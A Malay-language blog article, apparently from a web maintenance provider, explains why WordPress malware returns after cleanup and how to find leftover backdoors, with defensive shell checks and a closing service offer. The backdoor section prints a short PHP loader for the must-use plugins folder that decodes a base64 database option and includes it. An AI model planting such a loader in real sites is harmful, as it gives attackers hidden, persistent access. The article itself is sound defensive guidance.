Website kena malware: tanda, punca dan cara bersihkan

Laman dibersihkan pada bulan September, amaran hilang, trafik pulih. Tiga minggu kemudian halaman merah pelayar muncul semula, dan kali ini Google menyekat lebih banyak URL daripada sebelumnya. Pemilik laman biasanya menyimpulkan bahawa pembersihan gagal, lalu mencari orang lain untuk mengulang kerja sama. Punca sebenar lebih mudah: fail terjangkit sudah dibuang, tetapi pintu masuk penyerang masih terbuka.

Artikel ini menumpu pada satu soalan jarang dijawab dengan jelas, iaitu mengapa malware kembali. Ia bukan ulangan artikel website kena hack di laman ini, kerana artikel itu membincangkan sejam pertama selepas kejadian. Fokus di sini ialah pintu simpanan peninggalan penyerang, punca masuk berulang, dan cara mengesahkan laman benar-benar pulih sebelum amaran diminta dibuang.

Dua kerja berbeza: buang jangkitan dan tutup pintu

Membuang jangkitan bermaksud tiga kerja: mengenal pasti fail tercemar, menggantikannya dengan salinan asal, dan mengimbas pangkalan data. Kerja ini ada permulaan dan ada penghujung, dan ia boleh disiapkan dalam beberapa jam pada laman kecil. Menutup pintu kerja berbeza sama sekali: mengenal pasti cara penyerang masuk, kemudian memastikan jalan itu tidak boleh digunakan lagi.

Kebanyakan kerja pembersihan gagal menyelesaikan bahagian kedua. Fail dibersihkan, tetapi akaun pentadbir ciptaan penyerang masih wujud, pemuat dalam folder muat plugin masih berjalan pada setiap permintaan halaman, dan kata laluan pangkalan data masih sama seperti hari kejadian. Dalam keadaan itu laman bukan pulih, ia hanya menunggu jangkitan seterusnya. Penyerang tidak perlu memecah masuk kali kedua kerana dia masih memegang kunci.

Satu soalan mudah menguji bezanya: jika penyerang cuba semula dengan kelayakan sama seperti hari kejadian, adakah dia akan berjaya? Jawapan ya bermaksud kerja belum selesai, tidak kira berapa kali fail diimbas atau berapa banyak plugin dipasang semula.

Empat pintu simpanan selalu tertinggal

Pintu simpanan ialah mekanisme ditanam penyerang supaya akses kekal selepas jangkitan asal dibuang. Empat paling kerap dijumpai pada laman berasaskan WordPress: pemuat dalam folder muat plugin, tugas berjadual, fail konfigurasi pelayan, dan baris dalam pangkalan data.

Pintu pertama paling jarang disemak kerana ia tidak muncul dalam senarai plugin. Folder muat plugin memuatkan setiap fail PHP di dalamnya secara automatik, tanpa pengaktifan dan tanpa kebenaran pengguna. Satu fail kecil di situ boleh memuatkan kod daripada pangkalan data, dan ia terus berjalan walaupun tema ditukar atau semua plugin lain dipasang semula.

<?php
/* nama fail: wp-content/mu-plugins/0-cache.php */
$k = get_option('_site_cache_key');
if ($k) { @include_once(base64_decode($k)); }

Pintu kedua ialah tugas berjadual. Penyerang menambah satu acara berjalan setiap jam untuk menyemak sama ada fail dibuang sudah kembali. Tugas ini tersembunyi dalam senarai panjang dan jarang dibuka pemilik laman, dan kod sisa di mana-mana boleh menciptanya semula selepas pembersihan.

Pintu ketiga ialah fail konfigurasi pelayan seperti .htaccess atau konfigurasi nginx. Satu baris boleh memaksa fail tertentu dimuatkan sebelum semua fail lain, atau mengubah hala permintaan daripada enjin carian ke halaman lain. Pada pelayan dikongsi, fail ini sering diabaikan kerana ia tersembunyi dalam senarai folder.

Pintu keempat ialah pangkalan data. Baris dalam jadual pilihan boleh menyimpan kod disuntik, dan ia dimuatkan pada setiap halaman kerana ditanda autoload. Ada juga kes kandungan dalam jadual pos membawa tag skrip, dan tag itu memaparkan pautan luar kepada pelawat tertentu sahaja.

Cara memeriksa setiap pintu

Pemeriksaan ini tidak memerlukan alat berbayar, hanya akses kepada fail dan pangkalan data. Jika hosting dikongsi dan akses shell tiada, pengurus fail dalam panel hosting boleh menunjukkan senarai sama.

# 1) pemuat dalam folder muat plugin
ls -la /var/www/laman/wp-content/mu-plugins/

# 2) fail PHP dalam folder muat naik
find /var/www/laman/wp-content/uploads -name "*.php"

# 3) baris luar biasa dalam konfigurasi pelayan
grep -n -i "auto_prepend\|php_value\|RewriteRule" /var/www/laman/.htaccess

# 4) pengguna berperanan pentadbir
wp user list --role=administrator --fields=ID,user_login,user_registered

Bagi pangkalan data, dua pertanyaan cukup untuk permulaan: satu menyenaraikan baris autoload membawa kod, satu lagi menyenaraikan kandungan membawa tag skrip. Jika alat baris arahan WordPress tiada, pertanyaan sama boleh dijalankan melalui panel pangkalan data. Alat bukan perkara utama; tabiat memeriksa keempat-empat tempat ini sebelum mengaku laman bersih itulah beza antara pembersihan bertahan dan pembersihan sebulan.

Tarikh pendaftaran akaun juga berbaloi diperiksa. Akaun pentadbir didaftarkan pada hari sama dengan jangkitan dikesan hampir pasti dicipta penyerang, dan akaun itu tidak akan muncul dalam senarai staf pernah bekerja.

Tanda amaran bermaksud ia masih ada

Amaran berbeza membawa maksud berbeza, dan membezakan ketiganya menjimatkan masa. Halaman merah pelayar bermaksud Google menyekat halaman daripada pelawat berdasarkan pengesanan kandungan. E-mel Search Console menyenaraikan contoh URL disyaki, dan contoh itu petunjuk paling berguna kerana ia menunjuk kepada fail atau halaman tertentu.

Notifikasi penyedia hosting datang daripada pengimbas pada pelayan. Ia boleh betul, dan ia juga boleh salah, kerana fail sah menggunakan fungsi penyahkodan untuk tujuan munasabah boleh ditanda. Notifikasi hosting perlu disemak dengan membaca fail ditanda, bukan dipercayai bulat-bulat dan bukan diabaikan.

Tanda paling boleh dipercayai bukan amaran, tetapi corak dalam log akses. Permintaan POST ke satu fail PHP dalam folder muat naik, daripada satu alamat, berulang pada waktu malam, sukar dijelaskan oleh pelawat biasa. Jika corak itu masih muncul selepas pembersihan, pintu simpanan masih berfungsi.

Punca masuk berulang

Plugin tidak dikemas kini punca paling biasa kerana kod plugin berjalan dengan kebenaran penuh laman. Satu kelemahan dalam satu plugin cukup untuk memberi keupayaan menulis fail, dan laman memasang dua puluh plugin dengan dua dikemas kini mempunyai lapan belas pintu tidak dijaga.

Tema cetak rompak punca kedua. Tema dimuat turun percuma daripada laman menjual tema berbayar sering membawa kod tambahan dalam fail fungsi tema, dan kod itu berfungsi seperti biasa sehingga digunakan berbulan-bulan kemudian. Harga tema berbayar dijimatkan menjadi kos pembersihan berganda.

Kata laluan digunakan semula di beberapa tempat, dan ketiadaan pengesahan dua langkah, membuka pintu tanpa perlu kelemahan kod. Cubaan masuk berulang ke halaman log masuk berbunyi latar pada mana-mana laman dengan alamat diketahui, dan laman tanpa had cubaan akan tewas juga akhirnya.

Akaun lama punca paling kerap dilupakan. Pekerja berhenti enam bulan lalu mungkin masih mempunyai akaun FTP atau akaun panel hosting. Apabila komputernya dijangkiti, kelayakan masih sah berpindah bersama, dan log masuk itu kelihatan sah kerana memang akaun sah.

Satu lagi punca teknikal ialah muat naik fail tanpa had. Borang menerima sebarang jenis fail dan menyimpannya dalam folder boleh diakses melalui pelayar membolehkan fail PHP dimuat naik dan dijalankan. OWASP menyenaraikan kelemahan ini secara berasingan kerana ia muncul dalam banyak jenis aplikasi, bukan hanya sistem pengurusan kandungan.

Tiga kesilapan urutan semasa membersihkan

Urutan kerja menentukan sama ada pembersihan bertahan. Tiga kesilapan di bawah menjelaskan mengapa dua laman dengan jangkitan sama boleh berakhir dengan hasil berbeza.

• ▸ Memadam fail sebelum membuat sandaran. Sandaran diambil selepas fail dibuang tidak boleh digunakan untuk membandingkan apa berubah, dan perbandingan itulah cara paling pantas mencari pintu simpanan.
• ▸ Membuang fail sebelum memutar kelayakan. Selagi kata laluan pangkalan data dan akaun panel hosting lama masih sah, penyerang boleh kembali tanpa mengeksploitasi apa-apa. Putar kelayakan dahulu, kemudian bersihkan.
• ▸ Mengemas kini plugin sebelum mengenal pasti punca. Kemas kini menutup kelemahan mungkin digunakan, tetapi ia juga memadam jejak dalam fail diubah, dan selepas itu punca sebenar lebih sukar dibuktikan.

Satu langkah selalu dilangkau ialah menguji laman tanpa cache selepas pembersihan. Cache halaman dan cache objek boleh menyimpan salinan kandungan disuntik, jadi laman kelihatan masih terjangkit walaupun fail dan pangkalan data sudah bersih. Kosongkan cache sebelum membuat kesimpulan.

Bila pembersihan tidak berbaloi

Ada titik apabila membina semula lebih murah daripada membersihkan, dan titik itu bukan soal perasaan. Tiga tanda di bawah biasanya cukup untuk keputusan tanpa berdebat panjang.

• ▸ Fail teras dan tema diubah pada banyak tempat. Menyalin semula fail teras bermakna pengubahsuaian hilang, dan mengekalkan pengubahsuaian bermakna menyemak satu per satu.
• ▸ Tiada sandaran boleh dipercayai. Tanpa sandaran, kerja bermula daripada fail tercemar, dan tiada cara membezakan kod asal daripada kod disuntik.
• ▸ Pangkalan data disuntik pada beratus-ratus baris atau pada jadual menyimpan pesanan. Pembersihan menjadi kerja menulis skrip, dan risiko kehilangan data pesanan meningkat setiap kali skrip dijalankan.

Sebaliknya, laman kecil dengan sandaran baik dan plugin biasa selalunya boleh dibersihkan. Membina semula membawa kos lain jarang dikira di awal: kandungan lama, kedudukan carian, dan pautan sudah tersebar perlu dibina semula daripada kosong.

Jika data pelanggan terlibat, pertimbangkan kewajipan di bawah Akta Perlindungan Data Peribadi 2010. Ini bukan kerja teknikal, tetapi ia menentukan siapa perlu dimaklumkan dan apa perlu direkodkan, dan keputusan itu diambil sebelum kerja pembersihan bermula.

30 hari selepas dibuka semula

Amaran tidak hilang sendiri selepas fail dibersihkan. Permohonan semakan dibuat melalui laporan Security Issues dalam Search Console, dan Google menyatakan semakan mengambil masa beberapa hari. Permohonan dihantar sebelum semua contoh URL dibersihkan akan ditolak, jadi bersihkan dahulu, kemudian minta semakan.

Tempoh 30 hari selepas itu tempoh pemerhatian. Tiga perkara dipantau, dan ketiga-tiganya boleh disemak dalam 15 minit seminggu: log akses untuk POST ke fail PHP dalam folder muat naik, senarai fail berubah sejak hari pembersihan, dan sebarang akaun baharu muncul tanpa penjelasan.

Untuk kerja pemantauan bulanan, pakej SEO Panel ialah RM39 sebulan. Untuk pembersihan dan pemulihan laman, RM1,000 ialah titik mula projek dan selebihnya ditentukan oleh skop, kerana skop hanya boleh dinilai selepas log dan fail disemak. Angka lain sebelum semakan ialah tekaan, dan tekaan menjadi masalah apabila masuk ke dalam sebut harga bertulis.

Apa tidak termasuk dalam kerja pembersihan

Skop perlu ditulis, kerana jangkaan tidak ditulis punca pertengkaran selepas invois. Lima perkara di bawah biasanya di luar skop kecuali dinyatakan sebaliknya.

• ▸ Kandungan dipadam penyerang tidak dipulihkan melainkan ada sandaran. Fail hilang tanpa sandaran ditulis semula sebagai kerja berasingan.
• ▸ Kedudukan carian tidak dijamin kembali seperti sebelum insiden. Halaman disekat beberapa minggu biasanya pulih, tetapi masanya bergantung pada laman dan kata kunci.
• ▸ Tema baharu, reka bentuk baharu, atau ciri baharu bukan sebahagian daripada pembersihan. Kerja itu projek berasingan dengan skop dan jadual berasingan.
• ▸ Tiada jaminan laman tidak akan dijangkiti lagi, kerana jaminan itu bergantung pada amalan selepas pembersihan. Boleh dijanjikan setiap pintu ditemui ditutup dan dilaporkan.
• ▸ Pampasan kerugian perniagaan, notis kepada pelanggan, dan urusan undang-undang berada di luar kerja teknikal dan perlu nasihat sesuai.

Jika laman anda memaparkan amaran sekarang, hantar teks amaran itu, satu atau dua contoh URL daripada Search Console, dan tarikh ia mula muncul. Tiga perkara itu cukup untuk saya beritahu sama ada ia masalah kandungan, sijil, atau pelayan, dan ia mengelakkan kerja memadam dilakukan sebelum punca diketahui.